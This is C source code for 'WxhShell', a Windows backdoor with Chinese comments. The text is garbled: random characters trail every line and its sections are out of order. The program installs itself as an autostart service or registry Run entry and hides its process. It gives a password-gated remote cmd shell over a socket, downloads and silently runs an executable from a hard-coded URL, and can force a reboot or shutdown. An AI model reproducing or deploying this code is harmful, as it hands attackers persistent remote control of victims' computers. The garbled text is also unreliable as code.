    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n 26Y]7N  
    if(Boot(SHUTDOWN)) a9zw)A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X1[CX&Am  
    else { 2-zT$`[]J  
    closesocket(wsh); 0yx3OY  
    ExitThread(0); m+{K^kr[  
    } v]% WH~>  
    break; ._wkj  
    } (\"k&O{  
  // 获取shell DcIvhBp  
  case 's': { VN0mDh?E  
    CmdShell(wsh); ]nQt>R p_  
    closesocket(wsh); 3QSZ ZJ  
    ExitThread(0); b5m=7;u*h  
    break; D47R  
  } G1t\Q-|l0  
  // 退出 L{l6Dd43q  
  case 'x': { IC{eE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -S,ln  
    CloseIt(wsh); ]%uZ\Q;9p  
    break; ri C[lB  
    } \ 6EKgC1  
  // 离开 h=kQ$`j6  
  case 'q': { 7:]Pl=:X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'sp-%YlM -  
    closesocket(wsh); Iu~\L0R427  
    WSACleanup(); vvB(r!  
    exit(1);  `G1&Z]z  
    break; 4$/i%B#ad  
        } G5dO 3lwq  
  } 5!C_X5M  
  } "M|P+A  
>vrxP8_  
  // 提示信息 9p 4"r^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wpA`(+J  
} Bb&^ {7  
  } NVIK>cT6  
T{]~07N?  
  return; |8%m.fY`  
} PUQES(&  
M,j(=hRJ/E  
// shell模块句柄 o!E v;' D  
int CmdShell(SOCKET sock) 1tCQpf  
{ <)g8y A  
STARTUPINFO si; ( nW67YTr  
ZeroMemory(&si,sizeof(si)); IdIrI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^1:U'jIXO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d1!i(MaV!  
PROCESS_INFORMATION ProcessInfo; EzW)'Zzw~  
char cmdline[]="cmd"; #X: 'aj98  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <";,GaZQ  
  return 0; VhT= l  
} "I;C;}!  
FZd.L6q  
// 自身启动模式 SUWD]k>PH  
int StartFromService(void) l ?Y_~Wuw  
{ U%7i=Z{^Ks  
typedef struct |vte=)%  
{ :ztr)  
  DWORD ExitStatus; M:Er_,E  
  DWORD PebBaseAddress; |W$DVRA  
  DWORD AffinityMask; $d+DDm1o  
  DWORD BasePriority; oRN-xng  
  ULONG UniqueProcessId; 3`O?16O  
  ULONG InheritedFromUniqueProcessId; 7;.xc{  
}   PROCESS_BASIC_INFORMATION; TUL_TR  
s57N) 0kP  
PROCNTQSIP NtQueryInformationProcess; .*=]gZ$IE  
%I!:ITa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  gB\T[RV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r8xyd"Axy  
y AF+bCXo  
  HANDLE             hProcess; "HD+rmUEH  
  PROCESS_BASIC_INFORMATION pbi; -B#yy]8  
[LT^sb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S gMrce<;  
  if(NULL == hInst ) return 0; q,<[hBri-  
GZ!| }$ 8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2y0J`!/)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;TQf5|R\K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f0+2t.tj  
Mv|ykJoz"  
  if (!NtQueryInformationProcess) return 0; aYL|@R5;e  
[MX;,%;;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I4rPHZ|  
  if(!hProcess) return 0; tC8(XMVx  
"`}~~.q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DPe]daF  
^IZ)#1U  
  CloseHandle(hProcess); @Un/c:n  
NIZ<0I*5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4!$ M q;U  
if(hProcess==NULL) return 0; U]qav,^[  
Ap&)6g   
HMODULE hMod; \u`)kJ5o1  
char procName[255]; I3u{zHVwI  
unsigned long cbNeeded; fBBa4"OK=  
F0~k1TDw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 50j OA#l[  
 [\)oo  
  CloseHandle(hProcess); "Z,q?Fc  
)/4(e?%=  
if(strstr(procName,"services")) return 1; // 以服务启动 >,C4rC+:XN  
Jsg I'  
  return 0; // 注册表启动 ,F+B Wot4  
} *, Ld/O;s  
MFJE6ei  
// 主模块 MgnM,95  
int StartWxhshell(LPSTR lpCmdLine) N)R[6u}  
{ F9c`({6k  
  SOCKET wsl; mIZwAKo  
BOOL val=TRUE; 1`f_P$&Z_J  
  int port=0; 9D@$i<D:  
  struct sockaddr_in door; _\5~>g_  
dYFzye  
  if(wscfg.ws_autoins) Install(); Kj=gm .  
CozKyt/r7  
port=atoi(lpCmdLine); 4kp im  
k0?ZYeHC  
if(port<=0) port=wscfg.ws_port; >QQ(m\a$  
~CRSL1?  
  WSADATA data; %/"Oxi^G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kg5ev8  
u%|zc=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Hyk'c't_O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NQTnhiM7$  
  door.sin_family = AF_INET; E ?2O(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OL59e %X  
  door.sin_port = htons(port); ;:&?=d  
i;\s.wrzH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'iSAAwT2aj  
closesocket(wsl); !Gs} tiMH  
return 1; &Y|Xd4:  
} :@ uIxa$[  
KcGsMPJ  
  if(listen(wsl,2) == INVALID_SOCKET) { Dkw%`(Oh/,  
closesocket(wsl); $*MCU nl  
return 1; XR# ;{p+b  
} [um&X=1V8  
  Wxhshell(wsl); *xRc * :0  
  WSACleanup(); KM?1/KZ/~  
hi{%pi&!T  
return 0; AWr}"r?s  
.;/L2Jv  
} `&7RMa4=  
hp!d/X=J_  
// 以NT服务方式启动 :LJ7ru2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) khd5 Cf[   
{ U0B2WmT~Q  
DWORD   status = 0; PY\PUMF>  
  DWORD   specificError = 0xfffffff; H(u+#PIIw  
4|J[Jdj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AG"l1wz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^~ =9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BW[5o3 i  
  serviceStatus.dwWin32ExitCode     = 0; ;#?M)o:q  
  serviceStatus.dwServiceSpecificExitCode = 0; O>r-]0DI[  
  serviceStatus.dwCheckPoint       = 0; 6o3T;h  
  serviceStatus.dwWaitHint       = 0; uq7T{7~<  
(ClhbfzD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jrJR1npB  
  if (hServiceStatusHandle==0) return; >G)qns9  
`{<frB@  
status = GetLastError(); *3{J#Q6fk3  
  if (status!=NO_ERROR) M.%shrJ/  
{ wJ"ev.A)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J07O:cjyu  
    serviceStatus.dwCheckPoint       = 0; 54p tP  
    serviceStatus.dwWaitHint       = 0; <)m%*9{  
    serviceStatus.dwWin32ExitCode     = status; ~&G4)AM  
    serviceStatus.dwServiceSpecificExitCode = specificError; =WZ%H_oxi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Z0t :{  
    return; Z_z#QX>=D  
  } _j#SpL'P  
WnxEu3U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,\ldz(D?+  
  serviceStatus.dwCheckPoint       = 0; e=f.y<  
  serviceStatus.dwWaitHint       = 0; q|#MB7e/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t\y-T$\\  
} TYS\95<  
=v-2@=NJ`K  
// 处理NT服务事件,比如:启动、停止 R"xp%:li  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L ^Y3=1#"g  
{ GG-[`!>.pw  
switch(fdwControl) Ub)I66  
{ s${_K*g6  
case SERVICE_CONTROL_STOP: <&#+ E%E4  
  serviceStatus.dwWin32ExitCode = 0; lglYJ,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m@qqVRn#)  
  serviceStatus.dwCheckPoint   = 0; e1 a*'T$z  
  serviceStatus.dwWaitHint     = 0; <! x+e E`  
  { ~t/JCxa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sOC&Q&eg  
  } %]4-{%v  
  return; us{nyil1  
case SERVICE_CONTROL_PAUSE: mBl7{w;Iv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ek .3  
  break; z]#hWfM4B:  
case SERVICE_CONTROL_CONTINUE: pG yRX_;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }C6@c1myq-  
  break; *3Nn +T  
case SERVICE_CONTROL_INTERROGATE: (!zM\sF  
  break; vZjZb(jlN  
}; :EHQ .^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &TT":FPR  
} ?ApRJm:T  
Qlz Q]:dWC  
// 标准应用程序主函数 /8eW@IO.F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W"sr$K2m|  
{ I-:` cON=G  
it}-^3A M  
// 获取操作系统版本 J/Q|uRpmqr  
OsIsNt=GetOsVer(); m6n hC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qi=3L  
[&VxaJ("3  
  // 从命令行安装 (([I]q  
  if(strpbrk(lpCmdLine,"iI")) Install(); :m`/Q_y"  
981!2*  
  // 下载执行文件 +WF.wP?y  
if(wscfg.ws_downexe) { pMN<p[MB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *8\(FVyG^  
  WinExec(wscfg.ws_filenam,SW_HIDE); nR'#s%Kj  
} D Vw Cx^  
%W;u}`  
if(!OsIsNt) { k&GHu0z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]h@{6N'oNS  
HideProc(); &5q{viI  
StartWxhshell(lpCmdLine); h~ha  
} Zoow*`b|$U  
else lgT?{,>RkW  
  if(StartFromService()) Fk$@Yy+}e  
  // 以服务方式启动 |~NeB"l{  
  StartServiceCtrlDispatcher(DispatchTable); 2LhE]O(_"  
else JuJ5qIal  
  // 普通方式启动 1q!sKoJ<  
  StartWxhshell(lpCmdLine); `^%GN8d}nm  
t<lyg0f  
return 0; q<XcOc5  
} k,]{NO   
N1? iiv  
%FS;>;i?  
*/U$sZQ)  
=========================================== kPJ~X0Fr{t  
`u=<c  
g{a d0.y,  
cdsQ3o  
Ihef$,  
=eYO;l y3  
" >sV Bj(f  
Q-Y@)Mf~?0  
#include <stdio.h> A_Gp&acs$  
#include <string.h> P%!q1`Eke(  
#include <windows.h> vs*I7<  
#include <winsock2.h> '#f?#(  
#include <winsvc.h> zjWyGt(Q  
#include <urlmon.h> bX{PSjD  
'%O\E{h  
#pragma comment (lib, "Ws2_32.lib") N7B}O*;  
#pragma comment (lib, "urlmon.lib") APuu_!ez1  
g.&\6^)8p  
#define MAX_USER   100 // 最大客户端连接数 L&HzN{K  
#define BUF_SOCK   200 // sock buffer 4`0;^K.  
#define KEY_BUFF   255 // 输入 buffer P rt#L8  
K z^hQd  
#define REBOOT     0   // 重启 %0(>!SY  
#define SHUTDOWN   1   // 关机 ]}_,U!`8  
gD40y\9r  
#define DEF_PORT   5000 // 监听端口 *<3iEeO/R  
|ZuDX87  
#define REG_LEN     16   // 注册表键长度 m2MPWy5s  
#define SVC_LEN     80   // NT服务名长度 ;S =e%:zb  
"2K|#,%N  
// 从dll定义API ]eL~L_[G\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B)d@RAk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 73#9NZ R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G[B*TM6$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F~P/*FFK  
;@O(z*14@  
// wxhshell配置信息 3DHvaq q7  
struct WSCFG { WFks|D:sB  
  int ws_port;         // 监听端口 %,E7vYjT%  
  char ws_passstr[REG_LEN]; // 口令 D2-O7e  
  int ws_autoins;       // 安装标记, 1=yes 0=no h!;MBn`8  
  char ws_regname[REG_LEN]; // 注册表键名 'Sk6U]E~  
  char ws_svcname[REG_LEN]; // 服务名 vev8l\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /^WE@r[:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^)'||Ly  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  A8`orMo2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B C&^]M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ri;r7Y9V9`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3g+ \? L-c  
4t(QvIydA  
}; XAGiu;<,=  
_"`/^L`Q?  
// default Wxhshell configuration c'[( d5^|  
struct WSCFG wscfg={DEF_PORT, .;}pU!S~R  
    "xuhuanlingzhe", &A#90xzF  
    1, Is~yVB02  
    "Wxhshell", C(ZcR_+r$,  
    "Wxhshell", {S# 5g2  
            "WxhShell Service", aGe\.A=  
    "Wrsky Windows CmdShell Service", 0honHP  
    "Please Input Your Password: ", A'w2GC{.  
  1, sd7Y6?_C  
  "http://www.wrsky.com/wxhshell.exe", |HT)/UZ|  
  "Wxhshell.exe" KN|'|2/|  
    }; O/'f$Zj36  
>EyvdX#v  
// 消息定义模块 cbY3mSfn*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LIc*tsl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~9]Vy (L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NdaM9a#TZ  
char *msg_ws_ext="\n\rExit."; 8~rT  
char *msg_ws_end="\n\rQuit."; g8B&u u #  
char *msg_ws_boot="\n\rReboot..."; J78Qj[v  
char *msg_ws_poff="\n\rShutdown..."; r{c5dQ  
char *msg_ws_down="\n\rSave to "; FkLQBpp(x  
d u _O}x  
char *msg_ws_err="\n\rErr!"; qrOB_Nz  
char *msg_ws_ok="\n\rOK!"; c lq <$-  
C5d/)aC  
char ExeFile[MAX_PATH]; Gf!t< =T   
int nUser = 0; thR|h+B  
HANDLE handles[MAX_USER]; Ni/|C19Z  
int OsIsNt; F5Cqv0H V  
hlt9x.e.A  
SERVICE_STATUS       serviceStatus; h/w]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4ZSfz#<[z  
H d96[Uo  
// 函数声明 7UY('Q[  
int Install(void); =2Pz$q*ub  
int Uninstall(void); =/)Mc@Hb  
int DownloadFile(char *sURL, SOCKET wsh); 9iiU,}M`j  
int Boot(int flag); Ji)%Y5F  
void HideProc(void); #p;4:IT  
int GetOsVer(void); )2   
int Wxhshell(SOCKET wsl); pU[a[  
void TalkWithClient(void *cs); yKel|vM#  
int CmdShell(SOCKET sock); xow6@M,  
int StartFromService(void); eU<]h>2  
int StartWxhshell(LPSTR lpCmdLine); Z%(Df3~gmm  
k|)^!BdO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &^"s=g.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jKe$&.q@  
?^F*"+qI  
// 数据结构和表定义 f[w jur  
SERVICE_TABLE_ENTRY DispatchTable[] = w;g)Iy6x  
{ d{(s-  
{wscfg.ws_svcname, NTServiceMain}, ~{kA) :  
{NULL, NULL} HQ jxJd5P  
}; (Qw`%B  
0YgFjd 5  
// 自我安装 @8T Vr2uy  
int Install(void) F=' jmiVJ  
{ lUy*549,  
  char svExeFile[MAX_PATH]; x|P<F2L  
  HKEY key; 1D#T+t`[  
  strcpy(svExeFile,ExeFile); vgd}09y  
hvwnG>m\  
// 如果是win9x系统,修改注册表设为自启动 [U_Q 2<H  
if(!OsIsNt) { mRix0XBI~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z)b)v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D~t"9Z\  
  RegCloseKey(key); e%5'(V-y,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BHiw!S<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t(LlWd  
  RegCloseKey(key); S:"z<O  
  return 0; Q)7L^  
    } 4OB~h]Vc  
  } #Q!c42}M  
} !rN#PF>  
else { FN8=YUYK%  
D:S6Mu  
// 如果是NT以上系统,安装为系统服务 [7ek;d;'t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B[2h   
if (schSCManager!=0) 1GyAQHx,  
{ ),W (TL  
  SC_HANDLE schService = CreateService -O5(%  
  ( '/n%}=a=  
  schSCManager, _tWfb}6;Zb  
  wscfg.ws_svcname, ;Fwm1ezx0  
  wscfg.ws_svcdisp, n8y,{|  
  SERVICE_ALL_ACCESS, 8kn]_6:3i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3HDnOl8t  
  SERVICE_AUTO_START, fTi{oY,zTg  
  SERVICE_ERROR_NORMAL, 0YTtA]|`4  
  svExeFile, GwU>o:g"  
  NULL, !Sr0Im0  
  NULL, 2rE~V.)%  
  NULL, (,)vak&t  
  NULL, ]CtoK%k  
  NULL e P,XH{s  
  ); 0'`8HP  
  if (schService!=0) A(!ZZ9 Wc  
  { !<UEq`2  
  CloseServiceHandle(schService); g)| ++?  
  CloseServiceHandle(schSCManager); V+@%(x@D_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k(vEp ]  
  strcat(svExeFile,wscfg.ws_svcname); p7ns(g@9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^7^bA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6{,K7FL  
  RegCloseKey(key); ]I.& .?^i0  
  return 0; 4q 2=:"z4  
    } GwIfGixqH  
  } W;)FNP|MT  
  CloseServiceHandle(schSCManager); z)?#UdBQv  
} | 9\7xT  
} q4#f *]  
Qi'WV9ke  
return 1; E?c{02fu  
} $'mB8 S  
V3hm*{ON  
// 自我卸载 \i;~~;D  
int Uninstall(void) )su <Ji*  
{ %?9r(&  
  HKEY key; O%q;,w{prW  
>7v.`m6?H  
if(!OsIsNt) { (8eNZ*+mO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (gJ )]/n  
  RegDeleteValue(key,wscfg.ws_regname); p9] 7g%  
  RegCloseKey(key); +68K[s,FD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?M{ 6U[?  
  RegDeleteValue(key,wscfg.ws_regname); YO!7D5rV#  
  RegCloseKey(key); E+m"yQp{  
  return 0; S&)) 0d  
  } E( 4lu%  
} 1j) !d$8  
} A%czhF  
else { bCx1g/   
("M#R!3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~RLx;  
if (schSCManager!=0) Ev|{~U  
{ 3K20f8g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "VVR#H}{  
  if (schService!=0) mEc;-b f  
  { V]PhXVJ  
  if(DeleteService(schService)!=0) { LkZo/K~  
  CloseServiceHandle(schService); LXfeXWw?,  
  CloseServiceHandle(schSCManager); i11GW  
  return 0; )D-.7m.v]  
  } x_iy;\s1  
  CloseServiceHandle(schService); R&|)y:bg|  
  } P+%)0*W  
  CloseServiceHandle(schSCManager); W<hdb!bE  
} X.4ZLwX=  
} )PoI~km  
Wv*BwiQ  
return 1; ~m09yc d<  
} C.e|VzQa  
3L%r_N*a  
// 从指定url下载文件 Zow^bzy4  
int DownloadFile(char *sURL, SOCKET wsh) /$.vHt 5nt  
{ gwB> oi*OE  
  HRESULT hr; ]Q_G /e  
char seps[]= "/"; }GNH)-AG)$  
char *token; bz@=zLBt  
char *file; ~Z/`W`  
char myURL[MAX_PATH]; xS-nO_t 'E  
char myFILE[MAX_PATH]; <Ibr.L]  
>@89k^#Vc  
strcpy(myURL,sURL); wj5s5dH  
  token=strtok(myURL,seps); cyP* QW[  
  while(token!=NULL) 2?7hUaHX  
  { <7-,`   
    file=token; =28H^rK{  
  token=strtok(NULL,seps); ?9okjLp1n  
  } pmD-]0  
|b@A:8ss  
GetCurrentDirectory(MAX_PATH,myFILE); VGUDUM.8  
strcat(myFILE, "\\"); }b\q<sNE{  
strcat(myFILE, file); IV#My9}e  
  send(wsh,myFILE,strlen(myFILE),0); e^Wv*OD'  
send(wsh,"...",3,0); Iybpk?,M+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IV#f}NrfD  
  if(hr==S_OK) F$yFR  
return 0; U)=Z&($T  
else pC. 4AkEO  
return 1; N4(VRA  
4k?JxA)  
} wQS w&G  
jqsktJw#i  
// 系统电源模块 T:~W.3  
int Boot(int flag) Y'H/ $M N  
{ Z q>.;>  
  HANDLE hToken; 8jGoU 9  
  TOKEN_PRIVILEGES tkp; ~zC fan/  
HPCA$LD  
  if(OsIsNt) { 0Lz56e'j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %=O!K>^vt<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y +yvv{01  
    tkp.PrivilegeCount = 1; dQ~"b=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hwc8i"{9y\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N$\5%  
if(flag==REBOOT) { XlJux_LD:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~{$'sp0  
  return 0; <).qe Z  
} 'R5l =Wf  
else { MW@b ;=(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6}lEeMRW  
  return 0; X.Y)'qSf  
} 1L qJ@v0  
  } a2_IF,p*?  
  else { mBkQ 8e  
if(flag==REBOOT) { $ rnr;V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X1qj l_A  
  return 0; DJjDKVO5t  
} ZGvNEjff  
else { v86`\K*0Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %D0Ws9:|  
  return 0; &: 8&;vk  
} ):EXh#  
} TmAb! Y|F  
19`0)pzZ*P  
return 1; YVp0}m  
} 4DM|OL`w  
D5vtZu!"  
// win9x进程隐藏模块 1c~#]6[  
void HideProc(void) 6T_c#G5  
{ R}<s~` Pl  
_u5U> w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3H %WB|  
  if ( hKernel != NULL ) BQf+1 Ly&  
  { 1/J*ki+?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +mv%z3"j;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %4K#<b"W  
    FreeLibrary(hKernel); %d\+(:uu/  
  } ,IATJs$E  
O~]G(TMs8W  
return; cSDCNc*%  
} ^P`'qfZ  
D+PUi!  
// 获取操作系统版本 DTVnQC  
int GetOsVer(void) nE%qm -  
{ !qve1H4d2  
  OSVERSIONINFO winfo; [6N39G$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YWF<2l.  
  GetVersionEx(&winfo); rWmi 'niu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .;6bMP[YA  
  return 1; 9DE)5/c`v  
  else R;2 -/MT-  
  return 0; D$ z!wV  
} kO"aE~  
<9ph c  
// 客户端句柄模块 K6hN N$F!  
int Wxhshell(SOCKET wsl) e 3oIoj4o  
{ {Vu:yh\<  
  SOCKET wsh; n K=V`  
  struct sockaddr_in client; SJ@_eir\o  
  DWORD myID; 4`]1W,t  
aX:$Q }S  
  while(nUser<MAX_USER) V@f#/"u'  
{ QV1%Zou  
  int nSize=sizeof(client); M/;g|J jM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); IW*.B6Hw8  
  if(wsh==INVALID_SOCKET) return 1; .p_$]  
cXH?'q 'vZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )}5r s  
if(handles[nUser]==0) tgnXBWA`!  
  closesocket(wsh); 3|3lUU\I  
else FgaBwd^W  
  nUser++; KguFU  
  } ~=*_I4,+r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jq)k?WS  
5o #8DIal  
  return 0; *%sYajmD  
} (^\i(cfu6Q  
0l*/_;wo  
// 关闭 socket 5~QB.m,>  
void CloseIt(SOCKET wsh) p(%x&*)f  
{ U5=J;[w}N  
closesocket(wsh); cKAl 0_[f"  
nUser--; -XB>&dNl)T  
ExitThread(0); N%y FL  
} !^\/ 1^  
$i Tgv?.Q  
// 客户端请求句柄 } q(0uzaG  
void TalkWithClient(void *cs) ^;bkU|(`6  
{ yD"sYT   
1<5yG7SZ  
  SOCKET wsh=(SOCKET)cs; s#3{c@^3  
  char pwd[SVC_LEN]; 4F?1,-X  
  char cmd[KEY_BUFF]; /2 N%Z  
char chr[1]; d-aF-  
int i,j; $4pW#4/4  
0kfw8Lon  
  while (nUser < MAX_USER) { HY:n{= o  
,zaveQ~l  
if(wscfg.ws_passstr) { HL]?CWtGP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0:EiCKb)ol  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0M p>X  
  //ZeroMemory(pwd,KEY_BUFF); X(9Ff=0.~  
      i=0; :1Cc~+]w(u  
  while(i<SVC_LEN) { 6G],t)<A'-  
oGZ9@Y)(T  
  // 设置超时 $? Rod;  
  fd_set FdRead; ^y,ip=<5\3  
  struct timeval TimeOut; K(^x)w r-:  
  FD_ZERO(&FdRead); j? A +qk  
  FD_SET(wsh,&FdRead); K km7L-  
  TimeOut.tv_sec=8; I\_R& v  
  TimeOut.tv_usec=0; cae}dHG2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gUcE,L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sh 1fz 6g  
Jo ^ o`9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /e\dsC{uJ  
  pwd=chr[0]; 4w,}1uNEf  
  if(chr[0]==0xd || chr[0]==0xa) { *?S\0a'W@  
  pwd=0; &knnWm"  
  break; JQqDUd  
  } %oo&M;  
  i++; n_Z8%|h  
    } yLP0w^Q  
qCMcN<:>  
  // 如果是非法用户,关闭 socket -uZ^UG!K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iu .{L(m  
} }`(k X]][  
7>'F=}6[Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?l/rg6mbI'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <~3 a aO  
[Zf<r1m  
while(1) { = N#WwNC  
tkmW\  
  ZeroMemory(cmd,KEY_BUFF); T7v8}_"-  
?g&]*zc^\  
      // 自动支持客户端 telnet标准   fiZ8s=J  
  j=0; -:QyWw/d  
  while(j<KEY_BUFF) { >,v~,<3 i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Am0$UeSZ  
  cmd[j]=chr[0]; lc#H%Qlg  
  if(chr[0]==0xa || chr[0]==0xd) { Z7v~;JzC#  
  cmd[j]=0; 5^k#fl2  
  break; `e bB+gI  
  } H_Yy.yi  
  j++; d dPJx<  
    } ra3WLK  
O]>Or3oO  
  // 下载文件 [|YMnV<B  
  if(strstr(cmd,"http://")) { gDv]n^&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jy?^an}#h  
  if(DownloadFile(cmd,wsh)) v#6.VUAw  
